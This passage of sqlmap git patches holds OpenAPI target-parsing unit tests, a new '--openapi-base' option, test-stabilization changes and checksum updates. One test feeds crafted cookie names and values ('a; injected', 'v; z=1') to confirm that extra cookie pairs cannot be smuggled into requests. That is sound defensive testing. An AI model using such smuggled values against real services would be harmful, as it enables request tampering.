test_cookie_name_value_cannot_smuggle_pairs(self): + # a cookie name that is not a token is dropped; structural chars in the value ('; ,' / whitespace) + # are stripped so a spec can not inject additional cookie pairs + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "a; injected", "in": "cookie", "schema": {"type": "string"}}, + {"name": "sid", "in": "cookie", "schema": {"type": "string", "example": "v; z=1"}}]}}}} + cookieHeaders = [v for (k, v) in (_targets(spec)[0][3] or []) if k == "Cookie"] + self.assertEqual(len(cookieHeaders), 1) + cookie = cookieHeaders[0] + self.assertNotIn(";", cookie.rstrip("*")) # no interior ';' -> no smuggled pair + self.assertNotIn("injected", cookie) # invalid cookie name dropped + self.assertNotIn(" ", cookie) + + def test_loose_path_without_leading_slash(self): + # a malformed path key missing its leading '/' must not glue onto the base (".../v1pets") + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.x/v1"}], "paths": {"pets": {"get": {}}}} + self.assertEqual(_targets(spec, None)[0][0], "https://api.x/v1/pets") + + def test_array_query_param_is_best_effort_scalar(self): + # documents current best-effort behavior: an array query param is scalarized+encoded, NOT expanded + # per style/explode. If richer serialization is added later, update this expectation deliberately. + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "ids", "in": "query", "schema": {"type": "array", "items": {"type": "integer"}}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("ids=", url) + self.assertNotIn(" ", url) # whatever the encoding, it must not break the URL + self.assertTrue(url.startswith("http://h/x?ids=")) + + def test_invalid_header_name_is_skipped(self): + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "Bad Name", "in": "header", "schema": {"type": "string"}}, + {"name": "Also:Bad", "in": "header", "schema": {"type": "string"}}, + {"name": "X-Good", "in": "header", "schema": {"type": "string"}}]}}}} + headers = dict(_targets(spec)[0][3] or []) + self.assertIn("X-Good", headers) + self.assertNotIn("Bad Name", headers) + self.assertNotIn("Also:Bad", headers) + + def test_explicit_null_example_falls_back_to_schema(self): + # 'example: null' must not serialize as null/"null" - fall back to schema synthesis + q = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "q", "in": "query", "example": None, "schema": {"type": "string", "example": "good"}}]}}}} + self.assertIn("q=good", _targets(q)[0][0]) + b = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": + {"example": None, "schema": {"type": "object", "properties": {"a": {"type": "integer"}}}}}}}}}} + self.assertEqual(json.loads(_targets(b)[0][2]), {"a": 1}) + + def test_degrade_not_skip_on_odd_shapes(self): + # enum-as-dict, non-string param name, and content[type]-as-list must degrade (op preserved) + for spec in ( + {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [{"name": "q", "in": "query", "schema": {"enum": {"a": 1}}}]}}}}, + {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [{"name": 5, "in": "header", "schema": {"type": "string"}}]}}}}, + {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": [1, 2]}}}}}}): + self.assertEqual(len(_targets(spec)), 1) + + def test_malformed_ref_and_properties_degrade_not_skip(self): + # a non-string/unhashable $ref or a non-dict 'properties' must degrade the value (not lose the op) + for schema in ({"$ref": 123}, {"$ref": [1, 2]}, {"type": "object", "properties": [1, 2]}): + spec = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": + {"content": {"application/json": {"schema": schema}}}}}}} + self.assertEqual(len(_targets(spec)), 1) # operation preserved, not skipped + + def test_undefined_bits_are_skipped_not_fatal(self): + spec = {"openapi": "3.0.0", "paths": { + "/a": {"get": {"parameters": [{}]}}, # param with no name + "/b": {"post": {"requestBody": {"content": {"application/json": + {"schema": {"$ref": "#/components/schemas/DoesNotExist"}}}}}}, # dangling $ref + "/c": {"get": {"parameters": [{"name": "p", "in": "query", + "schema": {"$ref": "https://other/x.json#/Y"}}]}}}} # external $ref + targets = _targets(spec) + self.assertEqual(len(targets), 3) # all three still produced + + +if __name__ == "__main__": + unittest.main() From 2719ce6c591477c99f8b11cb1cb5956d2a56ebf5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 21:57:17 +0200 Subject: [PATCH 18/34] Minor patch --- data/txt/sha256sums.txt | 8 ++++---- lib/core/option.py | 11 ++++++++--- lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 5 ++++- 5 files changed, 18 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index abab556e8..4b922ab0a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -181,15 +181,15 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -91cc64c3dadf05eae666fcbbb0cd44c8ed8dd60592334b419ec8748cdded5f30 lib/core/optiondict.py -227716f876f3af24e2c5ae4818d1e3b9bc17627f1876d66bcefc4953e660f1af lib/core/option.py +47c9828bdfa606a02f07925539d7af55c5eaf1fda61d05ecc40f73d77df036f9 lib/core/optiondict.py +3ac60716cf1c619b80038acb8b213c728cc607e7c5a387911e01635a23fbc92b lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -1769800f72aa1e88c885ffb641e6e816d7d569b8c4a554bf7c7de821961a5235 lib/core/settings.py +3871d1b0d2ec82e2b0ed4705199519a473f92dbbf0db911e96ca613774961021 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -200,7 +200,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -1a67c8e0c46fb1244535d3961c35300da4aecd1872fd1fe2e3a752a5643875ed lib/parse/cmdline.py +fef119c6f3f2fe6a092112fd832d645c58e4c3c2af0bd97ace4487372c1e3574 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py diff --git a/lib/core/option.py b/lib/core/option.py index 8fd9c491d..f828e4cf9 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -502,14 +502,17 @@ def _setOpenApiTargets(): warnMsg = "option '--method' will override the HTTP method(s) derived from the OpenAPI/Swagger specification" logger.warning(warnMsg) - origin = None + # origin resolves a spec's relative 'servers' to absolute target URLs: an explicit '--openapi-base' + # (needed for a host-less local spec) or, when fetched by URL, the fetch URL itself. + origin = conf.openApiBase.rstrip('/') if conf.openApiBase else None if re.match(r"(?i)\Ahttps?://", conf.openApiFile): infoMsg = "fetching OpenAPI/Swagger specification from '%s'" % conf.openApiFile logger.info(infoMsg) from lib.request.connect import Connect as Request content = Request.getPage(url=conf.openApiFile, raise404=True)[0] - match = re.match(r"(?i)(https?://[^/]+)", conf.openApiFile) - origin = match.group(1) if match else None + if not origin: + match = re.match(r"(?i)(https?://[^/]+)", conf.openApiFile) + origin = match.group(1) if match else None else: conf.openApiFile = safeExpandUser(conf.openApiFile) checkFile(conf.openApiFile) @@ -549,6 +552,8 @@ def _setOpenApiTargets(): logger.warning(warnMsg) else: warnMsg = "no usable targets derived from the OpenAPI/Swagger specification" + if not conf.openApiBase: + warnMsg += " (if it uses relative 'servers', provide a base with '--openapi-base' or fetch it by URL)" logger.warning(warnMsg) def _findPageForms(): diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index d449259df..8ead48604 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -20,6 +20,7 @@ optDict = { "googleDork": "string", "configFile": "string", "openApiFile": "string", + "openApiBase": "string", }, "Request": { diff --git a/lib/core/settings.py b/lib/core/settings.py index 50535bacb..042d958d3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.17" +VERSION = "1.10.7.18" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index e8ddc2d4f..9081fe27d 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -145,7 +145,10 @@ def cmdLineParser(argv=None): help="Load options from a configuration INI file") target.add_argument("--openapi", dest="openApiFile", - help="Derive targets from an OpenAPI/Swagger specification (file or URL)") + help="Derive targets from OpenAPI/Swagger (file/URL)") + + target.add_argument("--openapi-base", dest="openApiBase", + help="Base URL for a host-less OpenAPI/Swagger spec") # Request options request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL") From 732d16453819e532a993fb1e70c67bf74e332afc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 22:02:57 +0200 Subject: [PATCH 19/34] Fixing CI/CD errors --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- tests/test_library.py | 6 ++++++ 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 4b922ab0a..0c28db3dd 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -3871d1b0d2ec82e2b0ed4705199519a473f92dbbf0db911e96ca613774961021 lib/core/settings.py +efadf8b3de6c132219b026eb80fa61756787df0753fa00aff420f60c92b17a52 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -628,7 +628,7 @@ b23bf934dafe54c241761517a7b8c139159aa4b941db10832a626a51fea81e35 tests/test_htt d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py 5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py 0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9 tests/test_ldap.py -4952caf2cc825b5ed96a032e0a88e6919b7556e736bd8e30a558f6c4f82c014a tests/test_library.py +571d7761d60a2919985d065893af68eac5d12286f491eaba434c1d8587f913a0 tests/test_library.py caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py 790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py 88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 042d958d3..2caa66593 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.18" +VERSION = "1.10.7.19" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_library.py b/tests/test_library.py index 73b41007d..8437238e5 100644 --- a/tests/test_library.py +++ b/tests/test_library.py @@ -114,15 +114,21 @@ class TestReportErrorCapture(unittest.TestCase): """ def test_errors_reach_the_report(self): + import logging from lib.core.data import logger from lib.utils.api import setupReportCollector, _assembleData, ReportErrorRecorder, REPORT_TASKID + # represent a normal run: the shared test bootstrap silences the logger (CRITICAL+1), which would + # otherwise gate the ERROR record before it reaches the recorder (order-dependent flakiness) + saved_level = logger.level + logger.setLevel(logging.ERROR) collector = setupReportCollector() try: logger.error("boom %s", "here") result = _assembleData(collector, REPORT_TASKID) self.assertTrue(any("boom here" in _ for _ in result["error"])) finally: + logger.setLevel(saved_level) for handler in list(logger.handlers): if isinstance(handler, ReportErrorRecorder): logger.removeHandler(handler) From 71d9c6d0f4f061ee969aee6d89b3ff82c6eb69d2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 22:31:01 +0200 Subject: [PATCH 20/34] Stabilization of unittests --- .github/workflows/tests.yml | 4 +++ data/txt/sha256sums.txt | 58 ++++++++++++++++---------------- lib/core/settings.py | 2 +- tests/_testutils.py | 16 +++++++++ tests/test_agent.py | 6 +++- tests/test_brute.py | 6 +++- tests/test_common.py | 11 ++++-- tests/test_databases_enum.py | 6 +++- tests/test_dbms_enum.py | 6 +++- tests/test_dialect.py | 6 +++- tests/test_dns_engine.py | 10 ++++-- tests/test_dump_format.py | 6 +++- tests/test_dump_jsonl.py | 6 +++- tests/test_entries.py | 6 +++- tests/test_error_engine.py | 6 +++- tests/test_filesystem.py | 6 +++- tests/test_fingerprint.py | 12 ++++++- tests/test_generic_takeover.py | 6 +++- tests/test_graphql.py | 6 ++++ tests/test_identifiers_output.py | 6 +++- tests/test_inference_engine.py | 6 +++- tests/test_misc.py | 6 +++- tests/test_parse_modules.py | 6 +++- tests/test_property.py | 6 +++- tests/test_report.py | 6 ++++ tests/test_search_enum.py | 6 +++- tests/test_target_parsing.py | 10 ++++-- tests/test_techniques.py | 6 +++- tests/test_union_engine.py | 6 +++- tests/test_users_enum.py | 6 +++- tests/test_xpath.py | 3 ++ 31 files changed, 200 insertions(+), 58 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 367bec214..a6bedc1e6 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -17,6 +17,10 @@ jobs: runs-on: ${{ matrix.os }} timeout-minutes: 30 + env: + # deterministic dict/set iteration order run-to-run (guards against hash-order flakiness in CI) + PYTHONHASHSEED: "0" + strategy: matrix: include: diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 0c28db3dd..c654360a5 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -efadf8b3de6c132219b026eb80fa61756787df0753fa00aff420f60c92b17a52 lib/core/settings.py +de1ffd738b35e31eb95467eda8a230cc81ff4d21e48e4c02c29da09299823126 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -586,86 +586,86 @@ dcdeed9ee285e63cf06baf8347e3db7f210ef25a63869bab78ce1ec6898ae191 tamper/unional 0694e721b07b8242245688be5c7951a3a22f512ed73776a998885e4b1bc82bc7 tamper/versionedmorekeywords.py ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf tamper/xforwardedfor.py 44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 tests/__init__.py -d16977d057c28888aa41500f79a19789cadef693cb8b7d9a3bca55b983ce2266 tests/test_agent.py +0e9054da5d1fed1ddfc982b8f559914237f65d9be5e595c3218fcd236dfa7212 tests/test_agent.py 138381e05a860272fedab780e6c38ab74c59c879048b11b909d23f8df654352a tests/test_api.py feb763ddcbf4f32822372ca53f8c71c754af7b72510ef06e1e9c77927fc90b10 tests/test_bigarray.py -36bcb68483d824db5d05870fab62f1907221bf256826b734302fbc15a9231c42 tests/test_brute.py +aeefe699f477e77ec4fb46c2692a1ea04cd89ad9cce62e8857d13e3bc0606e9d tests/test_brute.py 27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d tests/test_charset.py 7596fc69678304923b5c945c0fd9b8ee62a2dfc7fb14ccb6dc7af30893dc8012 tests/test_checks.py 9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad tests/test_cloak.py 2ec894f49ca9bd750a23ead16dae176bcbc57d18ec5847fa4a5eeb886d75c1bd tests/test_common_helpers.py -cdacb37cbe5667fded00abe62a822e11c917e9cb5c3f664b7aa1a8d738412ed4 tests/test_common.py +d436ad4c99be71d5faadb37f63d96a498e7e2b84f257ac9c7965b2ccd999e9e9 tests/test_common.py 899bc085e96d68f8a8cbe0d7e55863e98ef37b73ab0e4234f7d969e31ea2d23a tests/test_comparison_json.py 7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1 tests/test_comparison.py a7c3cf9f7820f377ebfdecf9383ebebc2932dd4a2a531a2b4496071f9d973c1c tests/test_compat.py 75357efd92f3f57cc05244a0f40985108077479fd192caaaa81e14f61c13783d tests/test_convert.py -2bd0faeaf7db1d73dd0caab3bde9900fdaa1f38fd736a6e238cd56ff9bc67b66 tests/test_databases_enum.py +6e3c08e1f76dd6c782d2ddc505b4e1a751b381c88ad91f79a95bf49f9c28a28f tests/test_databases_enum.py c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f tests/test_datafiles.py 9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545 tests/test_datatypes.py -8a1edb6dbc000e412ba5cc598e024b669fc76ec0a8fc32136808e6325a018f70 tests/test_dbms_enum.py +7cf63166206d543ff4423e1b5bda3ec3212805b0aeaf95d877117df7eb79c8ec tests/test_dbms_enum.py 3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py 180e5fd3f75fadf7ac1135f99797314e2cf1f8ae6dced02edfb18ccba43c0148 tests/test_deps.py fa85881aa8d082a65aeacb2b03fcb5d2abb1daa9a02ee24ff048d54fbc904b90 tests/test_dialectdbms.py -e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py +41bb0981cb7372753dbaa328c8be3678d328b736e6b97f7bd2573b465753af01 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py -7f9180a53dbf0bb3e52801fdbfffd31f365a0bff77bf90e58d2ef63a0c23026f tests/test_dns_engine.py +62a4386524d0ef269cba3bd6dcadc5a2a11c0d2bdd198773b79bcd8589324328 tests/test_dns_engine.py ec58ba0849d90d2bb7580fe2b8b96cd8299ddfc25f14dc27d9de9d41f152c78a tests/test_dns_server.py -4556bb0bfa6fcd5b98552426c57c99942ee8274eaefec7c316fd64247e4fcd6a tests/test_dump_format.py -9cd5841349bc4db818658d12184929a96f7f279eff1f53ad18a54dbefbd6b276 tests/test_dump_jsonl.py +3dc788fd3adba8b6f766281e0a50025b1ee9150d80ab9a738c6c43f2eaf805b3 tests/test_dump_format.py +118d1987861ed0df978474329adce8c23009b3964210c13fbaf667e0019bbd15 tests/test_dump_jsonl.py 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py -fe1211ce43a51cd8ec7dd3395aafda8d7313ff60e2ef013072ce9fa49ca4a242 tests/test_entries.py -bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4 tests/test_error_engine.py -26730151abea598f193131c5d64ef92b531941972f3d6236f9951c3116030b1c tests/test_filesystem.py -16fba97cba6afe8af11aa30bcc4266f53b00f2530161e010af10b51db1509703 tests/test_fingerprint.py -20844dfc758e99b2f757906c51ef32aca0f699283ec5aa629158d3dc0fd279ea tests/test_generic_takeover.py -f1f38f8b8ca667caadcb027d1a20eb895be4ef0935511114db235e66903bb463 tests/test_graphql.py +f4c54b19a294bf392b23dc627781d50894c8e44ca4fe5d7315c98984a3e196a4 tests/test_entries.py +ed7df24ce154e4cbb4462874a38202794664d12b083845bbee9f80481ec9cf52 tests/test_error_engine.py +6f3c214128c7147307c70f0905a0d1aa8118cbbc95086c6fcadce13009fb4946 tests/test_filesystem.py +31fa778c7ee318169961d04ea7b93afc539c24b4114a6a3eaf45698fef57bb4b tests/test_fingerprint.py +abb6eef3d2d08b87b6210dde6dd1333d39da64f5abe5574240fa47efce7528f3 tests/test_generic_takeover.py +b7d59fe68af29d47dda1d7ad77e9b5c91ed50e9efbb976e62e0dc67dd11b3e17 tests/test_graphql.py 50b71422ee91b9a4864f4d5ce6c9bdf169dc5f57ed1db05c152eb010c282136b tests/test_gui_helpers.py 92648f2fe81e22c5726b198bbbda14961cd4d3294a0d9139dcea808b324142ac tests/test_har.py cc7677bc6c568c395112c1aa7d01e1d664e4d5940c86cb4d44987172864bae6f tests/test_hash_crack.py 0336c875dd2b6554bff6eafd746229e38c69ca8070cd933d45cf27c82ef3e05f tests/test_hashdb.py c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_hash.py b23bf934dafe54c241761517a7b8c139159aa4b941db10832a626a51fea81e35 tests/test_http2.py -d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py -5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py +139dcedb9093eb0404ce497549eb6ab7e83ae1e70df8eb42da74ab5a3e7d2a85 tests/test_identifiers_output.py +0a5736b86a47e66d47d44ecf7b8c7531417453fc3e976cd64e9865d3afba78f4 tests/test_inference_engine.py 0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9 tests/test_ldap.py 571d7761d60a2919985d065893af68eac5d12286f491eaba434c1d8587f913a0 tests/test_library.py -caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py +d2f701f4c3a8621b937ddd322343df91e102af5424ab58675dec4dc7781035b4 tests/test_misc.py 790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py 88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py a0d173bb595ffbd2b49ee7fb1519d9898aefc262f2565923c4fe41bbc06f57e0 tests/test_openapi.py 6e63ed05db0490148d1c8428d785a23b0d5d5a0f566cd397c9c4a8fe8a6ed7dc tests/test_option.py cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py -7554a918309cf0f2cd8a63a3bb7659708f13beffbcd5ce498ece9f9167d55c97 tests/test_parse_modules.py +7297b791aed9278d9252a3ade688e67796eb5c9cc4d6b29e1d2b56d83aa20295 tests/test_parse_modules.py 0d52bf4b96eea2330553fdf7f875ed571e596d2f7a4b3648a2b53e44666f0c70 tests/test_payload_marking.py 6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py d6ffa83bd56ae98e7f55307b72dd7ea4802bccea9a85bb8f062619fb0a88913e tests/test_progress.py -a6d013104601c0414628aff3d8b5b69bee3e6733781d8f8da880457d8b44bd3a tests/test_property.py +2d135eba3ad0fd091962d84742ebf67314fd3f89dcaaa1252b3e3d76fae7c9fd tests/test_property.py c4c6f500bb71c3e430da343a49e8c8b8b3c919f438b6e6130597ce68dd856487 tests/test_purge.py 2dfefb4bfaee3868152835502ec43da317c4f274b1d55cd2ef21e4f7390c9bea tests/test_replication.py -67a5241aeebc20eb1c20cfc490422a59af5179040824e5731bd785db2e6bf750 tests/test_report.py +427a543e17dfede42b9fbccc916fa0aecd93fb7bfb5c280de4c2bca87c5d8de5 tests/test_report.py 4723d3bdf9623a49972e1d7378168ae8efbeaa31fb11c35d83bb40cc135fa0a8 tests/test_request_basic.py cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py -5b6ce95dddbd07d0126224f4f066643938476e536e18b700ea5d916e1052a715 tests/test_search_enum.py +575ebc336be598858279094072cde1ac9b124109cd7397bd805decd1b0a616d4 tests/test_search_enum.py a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py 29d0278e3718b0fee422d3f6bb85ca02560138d48cd76f9fe1f35ac19d96071b tests/test_sgmllib.py d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py 412a61053c2531cc0380b34dfd01d52bd118f6a6473728c069c467054c7e3c8e tests/test_ssti.py 8bcbf1091134dd0a62f6201f8b3645ed87b5ff2f7ba40a87231a29dac412591f tests/test_strings.py 8f1c5f0f337ecd26d35c5551060034e0aa33a62cce5385fc1227fdc485f6383e tests/test_tamper.py -67472bd71c20782cc0f738e2c2e674c29d6985669e14d15b69baef7d0e33de62 tests/test_target_parsing.py +b2b3a00254301e5e880e2e77351ebc47eed2c5280477915feedf780ea8cbd34f tests/test_target_parsing.py b3e13febe9e0ff6f97334f2868655bfdbaa18755e464a6dc4c6d424f513bad02 tests/test_targeturl.py -0e644bb7b25c183d0d689ea7be542d7a2ce780cc68067f89afb2ee095a79f762 tests/test_techniques.py +d7d8aaba1d22ee690c8da2c6e28cea0ab45b0d7a6915a5ae7f581c44d7121aab tests/test_techniques.py 639851dc68f62b559b200b09c308e64e453f414969940005bac75dc0ab07a6b6 tests/test_texthelpers.py f49bcce1df533ffa1acfd02af43faf6687b21eebda9362ceb1e5871b8cb37fd4 tests/test_threads.py -708b3c040f8b677a84020dd6f7c4242f77260b3c6d2697fe8189e1881b0e1365 tests/test_union_engine.py +8d23cb42cde68e0da2c4b47db367139d0c53363fef7493ae70b7f6636a1bbbc7 tests/test_union_engine.py 48b0ae4abe0fdde8ce4975c5cbf4c3514a2815021cb2e3a490a189bea5edfe78 tests/test_unpickle_security.py 4b646f513c6da1e33200184ed6eabe0aa345eb2e2a19598dc123e191168591bf tests/test_urls.py -eca021208e388b4d14c53f1e9f8a6e7d685e54ba572fb2a8487e6b620a20bcb5 tests/test_users_enum.py -045f05f958100adc883b3f56613c5f8002dd19d0752225397a1f771775cb2779 tests/_testutils.py +b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_users_enum.py +729b3a5e00fff2e2b6c3acd3fd3e970ac1985c0a6ad1829b23c4099bd409afa1 tests/_testutils.py 2364db35025a53ea4e5a0a80c034997642785f7e6d1566d0d0f1db959fe3c82e tests/test_utils.py 93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py 81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py -2698060e7f001e054e345512ce95be458d9902b913afa769398b53145475738a tests/test_xpath.py +9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a 